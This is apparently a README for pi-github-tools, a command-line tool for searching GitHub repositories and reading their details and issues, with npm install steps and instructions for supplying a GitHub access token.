Welcome to pi-github-tools! This tool helps you read, search, and explore GitHub repositories easily from your pi-coding-agent. You donβt need advanced skills to use this tool. Just follow these simple steps to install and set it up.
To get started, visit this page to download the latest version of pi-github-tools: Download Here.
Choose the appropriate version for your needs and follow the installation instructions below.
Using pi: Open your terminal and run the following command:
pi install npm:@prinova/pi-github-tools
This will install the tool directly to your pi environment.
Using npm: Alternatively, you can install it globally using npm. If you have npm installed, run:
npm install -g @prinova/pi-github-tools
To check if the installation was successful, run this command in your terminal:
pi-github-tools --version
If it shows the version number, you are ready to go!
This tool requires a GitHub Personal Access Token (PAT) to interact with the GitHub API. You can provide your token in one of two ways:
For most users, setting an environment variable is the easiest way. Run this command in your terminal:
export GITHUB_PAT=ghp_your_token_here
Be sure to replace ghp_your_token_here with your actual GitHub PAT.
If you prefer storing your token in a file, you can do that as well. This option is useful for systems like NixOS or Docker where secrets are often stored in files. Hereβs what to do:
Set the environment variable like this:
export GITHUB_PAT_FILE=/path/to/github_token.txt
Make sure the file contains only the token, and check for any extra spaces or newlines. This method works well for:
Now that you have installed and set up your token, you can start using pi-github-tools. Hereβs how to perform common tasks:
To search for repositories, open your terminal and type:
pi-github-tools search "repository-name"
Replace repository-name with the name you want to search for. The tool will return a list of matching repositories.
To read repository details, use the command:
pi-github-tools info "owner/repo"
Replace owner/repo with the actual repository path. This command provides details such as the README, stars, and contributions.
You can also view issues in a repository. Use:
pi-github-tools issues "owner/repo"
This command lists open and closed issues for the specified repository. Itβs a great way to see what challenges users face or how you can contribute.
This tool is lightweight and works well on most systems. Ensure you have the following:
If you run into issues or have questions, please check the issues section of the project. You can also reach out through discussions on GitHub for community support.
We plan to add more features in future updates, including:
Stay tuned for updates by checking our Releases page regularly.
This project is licensed under the MIT License. You are free to use and modify it as per your needs. For further details, check the LICENSE file in the repository.
Enjoy using pi-github-tools for your GitHub needs!